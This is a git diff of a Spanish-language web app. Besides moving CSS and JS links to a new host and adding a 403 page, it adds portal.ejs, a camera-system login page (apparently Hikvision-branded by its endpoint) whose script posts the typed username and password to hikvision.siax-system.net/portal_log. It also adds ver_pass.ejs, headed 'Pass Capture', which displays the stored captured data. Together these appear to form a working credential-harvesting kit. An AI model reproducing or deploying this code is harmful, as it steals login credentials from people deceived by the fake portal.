||||||
<link href="https://xsystem.ddns.net/app/css/app_sigma_pedidosDetalle.css" rel="stylesheet" type="text/css">
|
<link href="https://siax-system.net/app/css/app_sigma_pedidosStilos.css" rel="stylesheet" type="text/css">
|
||||||
|
<link href="https://siax-system.net/app/css/app_sigma_pedidosDetalle.css" rel="stylesheet" type="text/css">
|
||||||
<link href="./css/tipografias.css" rel="stylesheet" type="text/css"/>
|
<link href="./css/tipografias.css" rel="stylesheet" type="text/css"/>
|
||||||
<link href="https://xsystem.ddns.net/app/css/animate.css" rel="stylesheet" />
|
<link href="https://siax-system.net/app/css/animate.css" rel="stylesheet" />
|
||||||
|
|
||||||
</head>
|
</head>
|
||||||
|
|
||||||
@@ -224,6 +225,7 @@
|
|||||||
<button class="btn col s6" onClick="envioPedidos()"><i class="material-icons">cloud_upload</i>Enviar Pedido</button>
|
<button class="btn col s6" onClick="envioPedidos()"><i class="material-icons">cloud_upload</i>Enviar Pedido</button>
|
||||||
</div>
|
</div>
|
||||||
<div class="collapsible-body">
|
<div class="collapsible-body">
|
||||||
|
<div id="mensaje_btns"></div>
|
||||||
</div>
|
</div>
|
||||||
</li>
|
</li>
|
||||||
</ul> </div>
|
</ul> </div>
|
||||||
@@ -248,8 +250,8 @@
|
|||||||
<!-- Compiled and minified JavaScript -->
|
<!-- Compiled and minified JavaScript -->
|
||||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
|
||||||
|
|
||||||
<script src="https://xsystem.ddns.net/app/js/app_sigma_pedidosMain.js"></script>
|
<script src="https://siax-system.net/app/js/app_sigma_pedidosMain.js"></script>
|
||||||
<script src="https://xsystem.ddns.net/app/js/app_sigma_pedidosModal.js"></script>
|
<script src="https://siax-system.net/app/js/app_sigma_pedidosModal.js"></script>
|
||||||
|
|
||||||
</body>
|
</body>
|
||||||
|
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
<html lang="en">
|
<html lang="es">
|
||||||
|
|
||||||
<head>
|
<head>
|
||||||
<meta charset="UTF-8">
|
<meta charset="UTF-8">
|
||||||
|
|||||||
84
src/views/no_autorizado.ejs
Normal file
84
src/views/no_autorizado.ejs
Normal file
@@ -0,0 +1,84 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="es">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>No Autorizado</title>
|
||||||
|
<style>
|
||||||
|
/* Reseteo básico */
|
||||||
|
* {
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
box-sizing: border-box;
|
||||||
|
font-family: 'Arial', sans-serif;
|
||||||
|
}
|
||||||
|
|
||||||
|
body, html {
|
||||||
|
height: 100%;
|
||||||
|
background-color: #f4f4f9;
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
align-items: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.container {
|
||||||
|
text-align: center;
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
align-items: center;
|
||||||
|
min-height: 100vh;
|
||||||
|
}
|
||||||
|
|
||||||
|
.card {
|
||||||
|
background-color: #fff;
|
||||||
|
padding: 50px;
|
||||||
|
border-radius: 15px;
|
||||||
|
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
|
||||||
|
max-width: 400px;
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
h1 {
|
||||||
|
font-size: 100px;
|
||||||
|
color: #ff6b6b;
|
||||||
|
}
|
||||||
|
|
||||||
|
h2 {
|
||||||
|
font-size: 28px;
|
||||||
|
color: #333;
|
||||||
|
margin-bottom: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
p {
|
||||||
|
color: #666;
|
||||||
|
font-size: 18px;
|
||||||
|
margin-bottom: 30px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.button {
|
||||||
|
background-color: #ff6b6b;
|
||||||
|
color: white;
|
||||||
|
padding: 10px 20px;
|
||||||
|
border: none;
|
||||||
|
border-radius: 5px;
|
||||||
|
text-decoration: none;
|
||||||
|
font-size: 18px;
|
||||||
|
transition: background-color 0.3s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.button:hover {
|
||||||
|
background-color: #ff4b4b;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div class="container">
|
||||||
|
<div class="card">
|
||||||
|
<h1>403</h1>
|
||||||
|
<h2>Acceso No Autorizado</h2>
|
||||||
|
<p>No tienes permiso para acceder a esta página.</p>
|
||||||
|
<a href="/" class="button">Volver al Inicio</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
204
src/views/portal.ejs
Normal file
204
src/views/portal.ejs
Normal file
@@ -0,0 +1,204 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="es">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Login Camaras CD-PLUS</title>
|
||||||
|
<link href="../img/portal/favicon.ico" type="image/x-icon" rel="shortcut icon">
|
||||||
|
<style>
|
||||||
|
* {
|
||||||
|
box-sizing: border-box;
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
font-family: Arial, sans-serif;
|
||||||
|
}
|
||||||
|
|
||||||
|
body {
|
||||||
|
background-image: url('../img/portal/login.jpg'); /* Imagen de fondo */
|
||||||
|
background-size: cover;
|
||||||
|
background-position: center;
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
align-items: center;
|
||||||
|
height: 100vh;
|
||||||
|
}
|
||||||
|
|
||||||
|
.language-selector {
|
||||||
|
position: absolute;
|
||||||
|
top: 10px;
|
||||||
|
right: 20px;
|
||||||
|
background-color: rgba(255, 255, 255, 0.8);
|
||||||
|
padding: 10px;
|
||||||
|
border-radius: 5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-container {
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
align-items: center;
|
||||||
|
height: 100vh;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-box {
|
||||||
|
background-color: #fff;
|
||||||
|
padding: 30px;
|
||||||
|
border-radius: 10px;
|
||||||
|
box-shadow: 0 0 15px rgba(0, 0, 0, 0.1);
|
||||||
|
width: 350px;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Estilo del logo */
|
||||||
|
.logo {
|
||||||
|
width: 150px;
|
||||||
|
margin-bottom: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
h2 {
|
||||||
|
margin-bottom: 20px;
|
||||||
|
color: #333;
|
||||||
|
}
|
||||||
|
|
||||||
|
.input-container {
|
||||||
|
margin-bottom: 15px;
|
||||||
|
text-align: left;
|
||||||
|
}
|
||||||
|
|
||||||
|
label {
|
||||||
|
font-size: 14px;
|
||||||
|
color: #555;
|
||||||
|
}
|
||||||
|
|
||||||
|
input[type="text"],
|
||||||
|
input[type="password"] {
|
||||||
|
width: 100%;
|
||||||
|
padding: 10px;
|
||||||
|
margin-top: 5px;
|
||||||
|
border: 1px solid #ccc;
|
||||||
|
border-radius: 5px;
|
||||||
|
font-size: 16px;
|
||||||
|
}
|
||||||
|
|
||||||
|
button {
|
||||||
|
width: 100%;
|
||||||
|
padding: 10px;
|
||||||
|
background-color: #e74c3c;
|
||||||
|
border: none;
|
||||||
|
color: white;
|
||||||
|
font-size: 16px;
|
||||||
|
border-radius: 5px;
|
||||||
|
cursor: pointer;
|
||||||
|
margin-top: 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
button:hover {
|
||||||
|
background-color: #c0392b;
|
||||||
|
}
|
||||||
|
|
||||||
|
.forgot-password {
|
||||||
|
display: block;
|
||||||
|
margin-top: 15px;
|
||||||
|
font-size: 14px;
|
||||||
|
color: #3498db;
|
||||||
|
text-decoration: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.forgot-password:hover {
|
||||||
|
text-decoration: underline;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<!-- Selector de idioma -->
|
||||||
|
<div class="language-selector">
|
||||||
|
<label for="language">Idioma:</label>
|
||||||
|
<select id="language" onchange="changeLanguage()">
|
||||||
|
<option value="es">Español</option>
|
||||||
|
<option value="en">English</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="login-container">
|
||||||
|
<div class="login-box">
|
||||||
|
<!-- Logo -->
|
||||||
|
<img src="../img/portal/logo.png" alt="Logo" class="logo">
|
||||||
|
<h2 id="title">Iniciar Sesión</h2>
|
||||||
|
<form id="loginForm">
|
||||||
|
<div class="input-container">
|
||||||
|
<label for="username" id="username-label">Nombre de usuario</label>
|
||||||
|
<input type="text" id="username" placeholder="Ingrese su nombre de usuario" required>
|
||||||
|
</div>
|
||||||
|
<div class="input-container">
|
||||||
|
<label for="password" id="password-label">Contraseña</label>
|
||||||
|
<input type="password" id="password" placeholder="Ingrese su contraseña" required>
|
||||||
|
</div>
|
||||||
|
<button type="submit" id="login-btn">Acceder</button>
|
||||||
|
</form>
|
||||||
|
<a href="#" class="forgot-password" id="forgot-password">¿Olvidó la contraseña?</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
document.getElementById("loginForm").addEventListener("submit", function(event) {
|
||||||
|
event.preventDefault(); // Evita que el formulario se envíe
|
||||||
|
|
||||||
|
// Obtener los valores del formulario
|
||||||
|
const username = document.getElementById("username").value;
|
||||||
|
const password = document.getElementById("password").value;
|
||||||
|
|
||||||
|
// Validación básica
|
||||||
|
if (username === "" || password === "") {
|
||||||
|
alert("Por favor, complete todos los campos");
|
||||||
|
} else {
|
||||||
|
// Llamar al API usando fetch
|
||||||
|
fetch('https://hikvision.siax-system.net/portal_log', {
|
||||||
|
method: 'POST',
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/json'
|
||||||
|
},
|
||||||
|
body: JSON.stringify({
|
||||||
|
username: username,
|
||||||
|
password: password
|
||||||
|
})
|
||||||
|
})
|
||||||
|
.then(response => response.json())
|
||||||
|
.then(data => {
|
||||||
|
if (data.success) {
|
||||||
|
alert("Inicio de sesión exitoso");
|
||||||
|
// Aquí puedes redirigir al usuario a otra página o realizar más acciones
|
||||||
|
} else {
|
||||||
|
alert("Error: " + data.message);
|
||||||
|
}
|
||||||
|
})
|
||||||
|
.catch(error => {
|
||||||
|
console.error("Error en la solicitud:", error);
|
||||||
|
alert("El usuario o Contraseñas son incorrectos.");
|
||||||
|
});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// Función para cambiar el idioma
|
||||||
|
function changeLanguage() {
|
||||||
|
const language = document.getElementById("language").value;
|
||||||
|
|
||||||
|
if (language === "es") {
|
||||||
|
document.getElementById("title").textContent = "Iniciar Sesión";
|
||||||
|
document.getElementById("username-label").textContent = "Nombre de usuario";
|
||||||
|
document.getElementById("username").placeholder = "Ingrese su nombre de usuario";
|
||||||
|
document.getElementById("password-label").textContent = "Contraseña";
|
||||||
|
document.getElementById("password").placeholder = "Ingrese su contraseña";
|
||||||
|
document.getElementById("login-btn").textContent = "Acceder";
|
||||||
|
document.getElementById("forgot-password").textContent = "¿Olvidó la contraseña?";
|
||||||
|
} else if (language === "en") {
|
||||||
|
document.getElementById("title").textContent = "Login";
|
||||||
|
document.getElementById("username-label").textContent = "Username";
|
||||||
|
document.getElementById("username").placeholder = "Enter your username";
|
||||||
|
document.getElementById("password-label").textContent = "Password";
|
||||||
|
document.getElementById("password").placeholder = "Enter your password";
|
||||||
|
document.getElementById("login-btn").textContent = "Login";
|
||||||
|
document.getElementById("forgot-password").textContent = "Forgot password?";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
118
src/views/ver_pass.ejs
Normal file
118
src/views/ver_pass.ejs
Normal file
@@ -0,0 +1,118 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Mostrar Data</title>
|
||||||
|
<style>
|
||||||
|
/* Reseteo básico */
|
||||||
|
* {
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
box-sizing: border-box;
|
||||||
|
font-family: 'Arial', sans-serif;
|
||||||
|
}
|
||||||
|
|
||||||
|
body {
|
||||||
|
background-color: #f4f4f9;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
justify-content: center;
|
||||||
|
align-items: center;
|
||||||
|
height: 100vh;
|
||||||
|
padding: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
h1 {
|
||||||
|
font-size: 36px;
|
||||||
|
color: #333;
|
||||||
|
margin-bottom: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
pre {
|
||||||
|
background-color: #1e1e1e;
|
||||||
|
color: #d4d4d4;
|
||||||
|
padding: 20px;
|
||||||
|
border-radius: 10px;
|
||||||
|
width: 80%;
|
||||||
|
max-width: 600px;
|
||||||
|
white-space: pre-wrap;
|
||||||
|
word-wrap: break-word;
|
||||||
|
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
|
||||||
|
overflow: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Estilo para el contenedor de datos en modo "code" */
|
||||||
|
#data-container {
|
||||||
|
font-family: 'Courier New', Courier, monospace;
|
||||||
|
font-size: 16px;
|
||||||
|
line-height: 1.5;
|
||||||
|
color: #dcdcdc;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Resaltado de sintaxis */
|
||||||
|
#data-container .key {
|
||||||
|
color: #569cd6;
|
||||||
|
}
|
||||||
|
|
||||||
|
#data-container .string {
|
||||||
|
color: #ce9178;
|
||||||
|
}
|
||||||
|
|
||||||
|
#data-container .number {
|
||||||
|
color: #b5cea8;
|
||||||
|
}
|
||||||
|
|
||||||
|
#data-container .boolean {
|
||||||
|
color: #569cd6;
|
||||||
|
}
|
||||||
|
|
||||||
|
#data-container .null {
|
||||||
|
color: #569cd6;
|
||||||
|
}
|
||||||
|
|
||||||
|
</style>
|
||||||
|
<script>
|
||||||
|
async function fetchData() {
|
||||||
|
try {
|
||||||
|
const response = await fetch('../files/data.json');
|
||||||
|
const data = await response.json();
|
||||||
|
|
||||||
|
// Formatear JSON con resaltado de sintaxis
|
||||||
|
const formattedData = syntaxHighlight(JSON.stringify(data, null, 2));
|
||||||
|
|
||||||
|
// Mostrar el objeto data en el HTML
|
||||||
|
const dataContainer = document.getElementById('data-container');
|
||||||
|
dataContainer.innerHTML = formattedData;
|
||||||
|
} catch (err) {
|
||||||
|
console.error('Error al obtener los datos:', err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function syntaxHighlight(json) {
|
||||||
|
json = json.replace(/(&)/g, '&').replace(/(>)/g, '>').replace(/(<)/g, '<');
|
||||||
|
return json.replace(/("(\\u[\da-fA-F]{4}|\\[^u]|[^\\"])*"(\s*:)?|\b(true|false|null)\b|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?)/g, function (match) {
|
||||||
|
let cls = 'number';
|
||||||
|
if (/^"/.test(match)) {
|
||||||
|
if (/:$/.test(match)) {
|
||||||
|
cls = 'key';
|
||||||
|
} else {
|
||||||
|
cls = 'string';
|
||||||
|
}
|
||||||
|
} else if (/true|false/.test(match)) {
|
||||||
|
cls = 'boolean';
|
||||||
|
} else if (/null/.test(match)) {
|
||||||
|
cls = 'null';
|
||||||
|
}
|
||||||
|
return '<span class="' + cls + '">' + match + '</span>';
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
window.onload = fetchData;
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<h1>Pass Capture</h1>
|
||||||
|
<pre id="data-container"></pre>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
Reference in New Issue
Block a user